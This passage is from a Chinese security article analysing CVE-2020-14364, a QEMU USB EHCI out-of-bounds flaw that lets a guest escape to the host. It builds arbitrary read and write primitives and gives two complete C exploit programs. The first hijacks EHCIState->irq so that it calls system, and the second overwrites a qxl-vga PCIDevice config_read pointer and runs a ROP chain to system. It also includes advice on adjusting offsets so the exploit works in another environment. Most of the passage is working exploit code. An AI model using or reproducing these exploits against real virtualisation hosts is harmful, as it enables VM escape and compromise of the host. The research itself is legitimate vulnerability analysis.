首先设置越界长度0x1010,同上操作;

越界写,将setup_len 设置成目标偏移-0x1010,usb_packet_copy后面的s->setup_index += len操作后,s->setup_index就变成目标偏移offset。将setup_index设置成目标偏移+0x8, 经过下次越界写的len = s->setup_len - s->setup_index => len =(offset+0x8)-offset=0x8,只修改目标地址8个字节的内容;

再次越界写,修改目标地址的内容。

void arb_write(uint64_t target_addr, uint64_t payload){setup_state_data();//首先设置越界长度0x1010set_length(0x1010, USB_DIR_OUT);//目标地址偏移unsigned long offset = target_addr - data_buf_addr;//设置      setup_index  和  setup_lendo_copy_write(0, offset+0x8, offset-0x1010);//修改目标地址内容*(unsigned long *)(data_buf) = payload;do_copy_write(0, 0xffff, 0);}

exp

#include <assert.h>#include <fcntl.h>#include <inttypes.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <sys/types.h>#include <unistd.h>#include <sys/io.h>#include <stdio.h>  #include <stdlib.h>  #include <string.h>  #include <errno.h>  #include <sys/types.h>  #include <sys/socket.h>  #include <stdbool.h>#include <netinet/in.h>  struct EHCIqh * qh;struct EHCIqtd * qtd;struct ohci_td * td;char *dmabuf;char *setup_buf;unsigned char *mmio_mem;unsigned char *data_buf;unsigned char *data_buf_oob;uint32_t *entry;uint64_t dev_addr;uint64_t data_buf_addr;uint64_t USBPort_addr; #define PORTSC_PRESET       (1 << 8)     // Port Reset#define PORTSC_PED          (1 << 2)     // Port Enable/Disable#define USBCMD_RUNSTOP      (1 << 0)#define USBCMD_PSE          (1 << 4)#define USB_DIR_OUT         0#define USB_DIR_IN          0x80#define QTD_TOKEN_ACTIVE    (1 << 7)#define USB_TOKEN_SETUP     2#define USB_TOKEN_IN        1 /* device -> host */#define USB_TOKEN_OUT       0 /* host -> device */#define QTD_TOKEN_TBYTES_SH 16#define QTD_TOKEN_PID_SH    8typedef struct USBDevice USBDevice;typedef struct USBEndpoint USBEndpoint;struct USBEndpoint {uint8_t nr;uint8_t pid;uint8_t type;uint8_t ifnum;int max_packet_size;int max_streams;bool pipeline;bool halted;USBDevice *dev;USBEndpoint *fd;USBEndpoint *bk;};struct USBDevice {int32_t remote_wakeup;int32_t setup_state;int32_t setup_len;int32_t setup_index;USBEndpoint ep_ctl;USBEndpoint ep_in[15];USBEndpoint ep_out[15];};typedef struct EHCIqh {uint32_t next;                    /* Standard next link pointer *//* endpoint characteristics */uint32_t epchar;/* endpoint capabilities */uint32_t epcap;uint32_t current_qtd;             /* Standard next link pointer */uint32_t next_qtd;                /* Standard next link pointer */uint32_t altnext_qtd;uint32_t token;                   /* Same as QTD token */uint32_t bufptr[5];               /* Standard buffer pointer */} EHCIqh;typedef struct EHCIqtd {uint32_t next;                    /* Standard next link pointer */uint32_t altnext;                 /* Standard next link pointer */uint32_t token;uint32_t bufptr[5];               /* Standard buffer pointer */} EHCIqtd;/* 板子操作 */uint64_t virt2phys(void* p){uint64_t virt = (uint64_t)p;// Assert page alignmentint fd = open("/proc/self/pagemap", O_RDONLY);if (fd == -1)die("open");uint64_t offset = (virt / 0x1000) * 8;lseek(fd, offset, SEEK_SET);uint64_t phys;if (read(fd, &phys, 8 ) != 8)die("read");// Assert page presentphys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);return phys;}void die(const char* msg){perror(msg);exit(-1);}/* 这俩函数板子操作 */void mmio_write(uint32_t addr, uint32_t value){*((uint32_t*)(mmio_mem + addr)) = value;}uint64_t mmio_read(uint32_t addr){return *((uint64_t*)(mmio_mem + addr));}void init(){/* 板子操作,注意resource0前面的数字要调试得到 *//* MMIO就是通过将外设备映射到内存空间,便于CPU的访问 */int mmio_fd = open("/sys/devices/pci0000:00/0000:00:01.2/resource0", O_RDWR | O_SYNC);if (mmio_fd == -1)die("mmio_fd open failed");/* 映射到usb 设备的内存 */mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);if (mmio_mem == MAP_FAILED)die("mmap mmio_mem failed");/* 映射一块dmabufs */dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);if (dmabuf == MAP_FAILED)die("mmap");/* 上锁,防止被调度 */mlock(dmabuf, 0x3000);entry = dmabuf + 4;qh = dmabuf + 0x100;qtd = dmabuf + 0x200;setup_buf = dmabuf + 0x300;data_buf = dmabuf + 0x1000;data_buf_oob = dmabuf + 0x2000;}void reset_enable_port(){/* 对usb设备0x64偏移处进行写入操作,0x64 的偏移对应到 portsc对该字段写操作会调用到ehci_port_write */mmio_write(0x64, PORTSC_PRESET);mmio_write(0x64, PORTSC_PED);}//这个函数在上面分析过了,相当于告诉qemu我参数设置好了,可以触发漏洞函数了void set_EHCIState(){mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbasemmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmdsleep(1);}void set_qh(){qh->epchar = 0x00;qh->token = QTD_TOKEN_ACTIVE;qh->current_qtd = virt2phys(qtd);}void init_state(){//为了能走到漏洞函数那设置的条件reset_enable_port();//同上set_qh();//设置越界长度   setup_buf[6] = 0xff;setup_buf[7] = 0x0;/* 我们调用do_token_setup 设置s->setup_len 的长度为越界长度需要进入do_token_setup 需要通过设置qtd->token值 */qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;qtd->bufptr[0] = virt2phys(setup_buf);*entry = virt2phys(qh)+0x2;set_EHCIState();}//设置越界长度,调用do_token_setup void set_length(uint16_t len,uint8_t option){reset_enable_port();set_qh();setup_buf[0] = option;setup_buf[6] = len & 0xff;setup_buf[7] = (len >> 8 ) & 0xff;qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;qtd->bufptr[0] = virt2phys(setup_buf);set_EHCIState();}//越界读,调用do_token_outvoid do_copy_read(){reset_enable_port();set_qh();//设置token进入do_token_in                      设置p->iov.sizeqtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;qtd->bufptr[0] = virt2phys(data_buf);qtd->bufptr[1] = virt2phys(data_buf_oob);set_EHCIState();}//越界写,调用do_token_invoid do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){reset_enable_port();set_qh();*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002; // 覆盖成原先的内容*(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len;*(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flagqtd->bufptr[0] = virt2phys(data_buf);qtd->bufptr[1] = virt2phys(data_buf_oob);set_EHCIState();}void setup_state_data(){set_length(0x500, USB_DIR_OUT);}//任意写void arb_write(uint64_t target_addr, uint64_t payload){setup_state_data();set_length(0x1010, USB_DIR_OUT);unsigned long offset = target_addr - data_buf_addr;do_copy_write(0, offset+0x8, offset-0x1010);*(unsigned long *)(data_buf) = payload;do_copy_write(0, 0xffff, 0);}//任意读unsigned long arb_read(uint64_t target_addr){setup_state_data();set_length(0x1010, USB_DIR_OUT);do_copy_write(0, 0x1010, 0xfffffff8-0x1010);*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_INunsigned int target_offset = target_addr - data_buf_addr;do_copy_write(0x8, 0xffff, target_offset - 0x1018);do_copy_read(); // oob readreturn *(unsigned long *)(data_buf);}int main(){init();/* 修改当前进程的操作端口权限,为三时可以读写端口 */iopl(3);/*I/O 0xc0c0上写入16位数据 0*/outw(0,0xc080);/* 写0,0xc0e0端口*/outw(0,0xc0a0);outw(0,0xc0c0);//给上面那三个端口写数据是干嘛的?sleep(3);/* 设置触发漏洞环境 */init_state();/* 设置越界长度 */set_length(0x2000, USB_DIR_IN);/* 越界读一次,为了得到基址 */do_copy_read();struct USBDevice* usb_device_tmp = data_buf + 0x4;struct USBDevice usb_device;memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));dev_addr = usb_device.ep_ctl.dev;data_buf_addr = dev_addr + 0xdc;USBPort_addr = dev_addr + 0x78;printf("USBDevice dev_addr: 0x%llx\n", dev_addr);printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);printf("USBPort_addr: 0x%llx\n", USBPort_addr);uint64_t *tmp=dmabuf+0x24f4+8;long long leak_addr = *tmp;if(leak_addr == 0){printf("INIT DOWN,DO IT AGAIN\n");return 0;}long long base = leak_addr - 0xc40d90; //maybe wronguint64_t system_plt = base + 0x290D30; //maybe wrongprintf("leak elf_base address : %llx!\n", base);printf("leak system_plt address: %llx!\n", system_plt);//读取USBDevice->port的内容就能获得EHCIState->ports 的地址unsigned long USBPort_ptr = arb_read(USBPort_addr);//减去偏移得到 EHCIState的地址unsigned long EHCIState_addr = USBPort_ptr - 0x540;//进而得到EHCIState->irq地址unsigned long irq_addr = EHCIState_addr + 0xc0;//伪造一个irq地址unsigned long fake_irq_addr = data_buf_addr; //dev_addr + 0xdc; //保存原来的irqunsigned long irq_ptr = arb_read(irq_addr);printf("EHCIState_addr: 0x%llx\n", EHCIState_addr);printf("USBPort_ptr: 0x%llx\n", USBPort_ptr);printf("irq_addr: 0x%llx\n", irq_addr);printf("fake_irq_addr: 0x%llx\n", fake_irq_addr);printf("irq_ptr: 0x%llx\n", irq_ptr);/*struct IRQState {Object parent_obj;qemu_irq_handler handler;void *opaque;int n;};*///构造 fake_irq//设置越界长度为0x500然后设定outsetup_state_data();*(unsigned long *)(data_buf + 0x28) = system_plt; // handler 填充成system@plt地址*(unsigned long *)(data_buf + 0x30) = dev_addr+0xdc+0x100; //opaque填充成payload的地址*(unsigned long *)(data_buf + 0x38) = 0x3; //n*(unsigned long *)(data_buf + 0x100) = 0x636c616378; // "xcalc"//这个越界写是干嘛的??do_copy_write(0, 0xffff, 0xffff);//利用任意写将EHCIState->irq内容填充为伪造的irq地址arb_write(irq_addr, fake_irq_addr);// write back  irq_ptrarb_write(irq_addr, irq_ptr);//mmio 读写触发ehci_update_irq -> qemu_set_irq,最终执行system("xcalc"),完成利用。/*void qemu_set_irq(qemu_irq irq, int level){if (!irq)return;irq->handler(irq->opaque, irq->n, level);}*/};

第二种思路

关于任意读写原语的部分和上面的一样,这一利用手法主要利用QEMU启动时加载的qxl-vga设备,配置在上面有:

通过越界读获取 USBdevice 对象的地址,这里通过读取dmabuf+0x2004可以得到USBDevice->remote_wakeup的内容(这里+4是因为结构体的内存对齐)。往下读有一个 USBEndpoint ep_ctl 结构体,ep_ctl->dev 保存着USBdevice 对象的地址,就可以泄露 USBdevice 对象的地址。计算偏移就可以获得data_buf 和USBPort 字段的地址。

这点和上面的利用一样,都是通过ep-ctl得到USBdevice对象的地址,从而得到对象中其他部分的地址,

利用任意读泄露data_buf后面的内存数据,查找"qxl-vga"字符串,就能得到PCIDevice->name的地址,减去偏移得到PCIDevice结构体地址。利用任意写,修改config_read保存的函数指针,在虚拟机里读取pci配置寄存器(调用system("lspci")) 就可触发config_read指向的函数,原本调用pci_default_read_config ,可以将函数指针修改成system@plt。上一步已经可以控制rip,但是传参有问题,先来看看config_read指向的函数被调用时传递的参数。

struct PCIDevice {[ ... ]PCIReqIDCache requester_id_cache;char name[64]; // ->保存设备的名字,"qxl-vga"PCIIORegion io_regions[PCI_NUM_REGIONS];AddressSpace bus_master_as;MemoryRegion bus_master_container_region;MemoryRegion bus_master_enable_region;/* do not access the following fields */PCIConfigReadFunc *config_read;     //这里PCIConfigWriteFunc *config_write;   //这里/* Legacy PCI VGA regions */MemoryRegion *vga_regions[QEMU_PCI_VGA_NUM_REGIONS];bool has_vga;[ ... ]};

利用任意写,修改config_read保存的函数指针,在虚拟机里读取pci配置寄存器(调用system("lspci")) 就可触发config_read指向的函数,原本调用pci_default_read_config ,可以将函数指针修改成system@plt。

上一步已经可以控制rip,但是传参有问题,先来看看config_read指向的函数被调用时传递的参数。

大部分都是赋值的,然后找到了一个调用如下:

uint32_t pci_host_config_read_common(PCIDevice *pci_dev, uint32_t addr,uint32_t limit, uint32_t len){uint32_t ret;pci_adjust_config_limit(pci_get_bus(pci_dev), &limit);   //比2.11多了这个函数,使得直接把pyload布置在pci_dev变得不可行if (limit <= addr) {return ~0x0;}assert(len <= 4);/* non-zero functions are only exposed when function 0 is present,* allowing direct removal of unexposed functions.*/if (pci_dev->qdev.hotplugged && !pci_get_function_0(pci_dev)) {return ~0x0;}ret = pci_dev->config_read(pci_dev, addr, MIN(len, limit - addr));  //到这里调用,也就是说上面的函数是无法避免被运行的trace_pci_cfg_read(pci_dev->name, PCI_SLOT(pci_dev->devfn),PCI_FUNC(pci_dev->devfn), addr, ret);return ret;}=====================================================================================static inline PCIBus *pci_get_bus(const PCIDevice *dev){return PCI_BUS(qdev_get_parent_bus(DEVICE(dev)));}=====================================================================================#define PCI_BUS(obj) OBJECT_CHECK(PCIBus, (obj), TYPE_PCI_BUS)======================================================================================#define OBJECT_CHECK(type, obj, name) \((type *)object_dynamic_cast_assert(OBJECT(obj), (name), \   __FILE__, __LINE__, __func__))====================================================================================#define OBJECT(obj) \((Object *)(obj))  //这里

涉及到寻址操作,因为覆盖了dev为payload,所以这个操作很可能会访问非法地址,所以这里不能放payload。

同样的,我们甚至不能直接将config_read函数指针指向system,可以将其指向其他地方,我们可以用rop链,将payload放栈上,然后调用system。

栈转移利用xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret;

可以将rax的值给rbp后,再通过leave指令(相当于mov rsp, rbp; pop rbp;),间接将rax的值赋给rsp,完成栈切换。

以下来自[CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路 - 先知社区。

new rsp  ===>   [0x00] : pop rax; ret;  将system的plt设为rax [0x08] : system@plt                               [0x10] : pop rdi; ret;  将"xcalc"赋值为rdi,作为调用system的第一个参数/-- [0x18] : rsp+0x30       |   [0x20] : sub al, 0; call rax; 调用rax,也就是system|   [0x28] :                                 |-> [0x30] : "xcalc"

exp

#include <assert.h>#include <fcntl.h>#include <inttypes.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <sys/types.h>#include <unistd.h>#include <sys/io.h>#include <stdio.h>  #include <stdlib.h>  #include <string.h>  #include <errno.h>  #include <sys/types.h>  #include <sys/socket.h>  #include <stdbool.h>#include <netinet/in.h>  struct EHCIqh * qh;struct EHCIqtd * qtd;struct ohci_td * td;char *dmabuf;char *setup_buf;unsigned char *mmio_mem;unsigned char *data_buf;unsigned char *data_buf_oob;uint32_t *entry;uint64_t dev_addr;uint64_t data_buf_addr;uint64_t USBPort_addr; #define PORTSC_PRESET       (1 << 8)     // Port Reset#define PORTSC_PED          (1 << 2)     // Port Enable/Disable#define USBCMD_RUNSTOP      (1 << 0)     // run / Stop#define USBCMD_PSE          (1 << 4)     // Periodic Schedule Enable#define USB_DIR_OUT         0#define USB_DIR_IN          0x80#define QTD_TOKEN_ACTIVE    (1 << 7)#define USB_TOKEN_SETUP     2#define USB_TOKEN_IN        1 /* device -> host */#define USB_TOKEN_OUT       0 /* host -> device */#define QTD_TOKEN_TBYTES_SH 16#define QTD_TOKEN_PID_SH    8typedef struct USBDevice USBDevice;typedef struct USBEndpoint USBEndpoint;struct USBEndpoint {uint8_t nr;uint8_t pid;uint8_t type;uint8_t ifnum;int max_packet_size;int max_streams;bool pipeline;bool halted;USBDevice *dev;USBEndpoint *fd;USBEndpoint *bk;};struct USBDevice {int32_t remote_wakeup;int32_t setup_state;int32_t setup_len;int32_t setup_index;USBEndpoint ep_ctl;USBEndpoint ep_in[15];USBEndpoint ep_out[15];};typedef struct EHCIqh {uint32_t next;                    /* Standard next link pointer *//* endpoint characteristics */uint32_t epchar;/* endpoint capabilities */uint32_t epcap;uint32_t current_qtd;             /* Standard next link pointer */uint32_t next_qtd;                /* Standard next link pointer */uint32_t altnext_qtd;uint32_t token;                   /* Same as QTD token */uint32_t bufptr[5];               /* Standard buffer pointer */} EHCIqh;typedef struct EHCIqtd {uint32_t next;                    /* Standard next link pointer */uint32_t altnext;                 /* Standard next link pointer */uint32_t token;uint32_t bufptr[5];               /* Standard buffer pointer */} EHCIqtd;uint64_t virt2phys(void* p){uint64_t virt = (uint64_t)p;// Assert page alignmentint fd = open("/proc/self/pagemap", O_RDONLY);if (fd == -1)die("open");uint64_t offset = (virt / 0x1000) * 8;lseek(fd, offset, SEEK_SET);uint64_t phys;if (read(fd, &phys, 8 ) != 8)die("read");// Assert page presentphys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);return phys;}void die(const char* msg){perror(msg);exit(-1);}void mmio_write(uint32_t addr, uint32_t value){*((uint32_t*)(mmio_mem + addr)) = value;}uint64_t mmio_read(uint32_t addr){return *((uint64_t*)(mmio_mem + addr));}void init(){int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR | O_SYNC);if (mmio_fd == -1)die("mmio_fd open failed");mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);if (mmio_mem == MAP_FAILED)die("mmap mmio_mem failed");dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);if (dmabuf == MAP_FAILED)die("mmap");mlock(dmabuf, 0x3000);entry = dmabuf + 4;qh = dmabuf + 0x100;qtd = dmabuf + 0x200;setup_buf = dmabuf + 0x300;data_buf = dmabuf + 0x1000;data_buf_oob = dmabuf + 0x2000;}void reset_enable_port(){mmio_write(0x64, PORTSC_PRESET);mmio_write(0x64, PORTSC_PED);}void set_EHCIState(){mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbasemmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmdsleep(1);}void set_qh(){qh->epchar = 0x00;qh->token = QTD_TOKEN_ACTIVE;qh->current_qtd = virt2phys(qtd);}void init_state(){reset_enable_port();set_qh();setup_buf[6] = 0xff;setup_buf[7] = 0x0;qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;qtd->bufptr[0] = virt2phys(setup_buf);*entry = virt2phys(qh)+0x2;set_EHCIState();}void set_length(uint16_t len,uint8_t option){reset_enable_port();set_qh();setup_buf[0] = option;setup_buf[6] = len & 0xff;setup_buf[7] = (len >> 8 ) & 0xff;qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;qtd->bufptr[0] = virt2phys(setup_buf);set_EHCIState();}void do_copy_read(){reset_enable_port();set_qh();qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;qtd->bufptr[0] = virt2phys(data_buf);qtd->bufptr[1] = virt2phys(data_buf_oob);set_EHCIState();}void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){reset_enable_port();set_qh();*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002;*(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; //setup_len*(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flagqtd->bufptr[0] = virt2phys(data_buf);qtd->bufptr[1] = virt2phys(data_buf_oob);set_EHCIState();}void setup_state_data(){set_length(0x500, USB_DIR_OUT);}void arb_write(uint64_t target_addr, uint64_t payload){setup_state_data();set_length(0x1010, USB_DIR_OUT);unsigned long offset = target_addr - data_buf_addr;do_copy_write(0, offset+0x8, offset-0x1010);*(unsigned long *)(data_buf) = payload;do_copy_write(0, 0xffff, 0);}unsigned long arb_read(uint64_t target_addr){setup_state_data();set_length(0x1010, USB_DIR_OUT);do_copy_write(0, 0x1010, 0xfffffff8-0x1010);*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_INunsigned int target_offset = target_addr - data_buf_addr;do_copy_write(0x8, 0xffff, target_offset - 0x1018);do_copy_read(); // oob readreturn *(unsigned long *)(data_buf);}int main(){init();iopl(3);outw(0,0xc080);outw(0,0xc0a0);outw(0,0xc0c0);sleep(3);init_state();set_length(0x2000, USB_DIR_IN);do_copy_read(); // oob readstruct USBDevice* usb_device_tmp=dmabuf+0x2004;struct USBDevice usb_device;memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));dev_addr = usb_device.ep_ctl.dev;data_buf_addr = dev_addr + 0xdc;printf("USBDevice dev_addr: 0x%llx\n", dev_addr);printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);uint64_t *tmp=dmabuf+0x24f4+8;long long leak_addr = *tmp;if(leak_addr == 0){printf("INIT DOWN,DO IT AGAIN\n");return 0;}long long base = leak_addr - 0xc40d90; //maybe wronguint64_t system_plt = base + 0x290D30; //maybe wrongprintf("leak elf_base address : %llx!\n", base);printf("leak system_plt address: %llx!\n", system_plt);unsigned long search_start_addr = data_buf_addr + 0x5500; arb_read(search_start_addr);char *mask = "qxl-vga\0";unsigned long find = memmem(data_buf, 0x1f00, mask, 0x8);unsigned long offset = (find&0xffffffff) - ((unsigned long)(data_buf)&0xffffffff) + 0x5500;unsigned long config_read_addr = data_buf_addr + offset + 0x390;unsigned long pci_dev = config_read_addr - 0x450;printf("config_read_addr: 0x%llx\n", config_read_addr);printf("pci_dev: 0x%llx\n", pci_dev);unsigned long pci_dev_content = arb_read(pci_dev);unsigned long rop_start = base + 0x774ff0; //xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret; printf("pci_dev_content: 0x%llx\n", pci_dev_content);printf("rop_start: 0x%llx\n", rop_start);unsigned long rsp = pci_dev + 0x8; // leave -> mov rsp, rbp; pop rbp;printf("new rsp: 0x%llx\n", rsp);unsigned long pop_rax = base + 0x523519; // pop rax; ret; //maybe wrongunsigned long pop_rdi = base + 0x3b51e5; // pop rdi; ret;  //maybe wrongunsigned long call_rax = base + 0x71bd09; // sub al, 0; call rax; //maybe wrongarb_write(rsp, pop_rax);arb_write(rsp+8, system_plt);arb_write(rsp+0x10, pop_rdi);arb_write(rsp+0x18, rsp+0x30);arb_write(rsp+0x20, call_rax);arb_write(rsp+0x30, 0x636c616378);arb_write(config_read_addr, rop_start);system("lspci");};

如果本地没打通的话那八成是system的plt地址以及加载地址没根据自己环境进行调整。

前面求到USBDevice的基址了,通过偏移得到USBDevice结构体中USBDescDevice *device 然后根据其指向的地址的值距离QEMU加载地址的偏移,得到QEMU加载的基址,然后通过ida得到system@plt距离QEMU基址的偏移,得到system的地址。

改一下上面标注的maybe wrong处的数据值就可以。

前两思路的参考

[CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路 - 先知社区 (aliyun.com)]

[QEMU CVE-2020-14364 漏洞分析(含POC演示) - FreeBuf]

下期我们将继续更新后两种网上现未公开的利用usb1的利用方式,敬请期待~

# QEMU # QEMU漏洞
本文为 星阑科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
星阑科技 LV.7
北京星阑科技有限公司
  • 257 文章数
  • 45 关注者
API用户行为分析监测
2023-10-24
API NEWS | 第三方API安全性最佳实践
2023-10-18
第三方API安全性最佳实践
2023-10-18
文章目录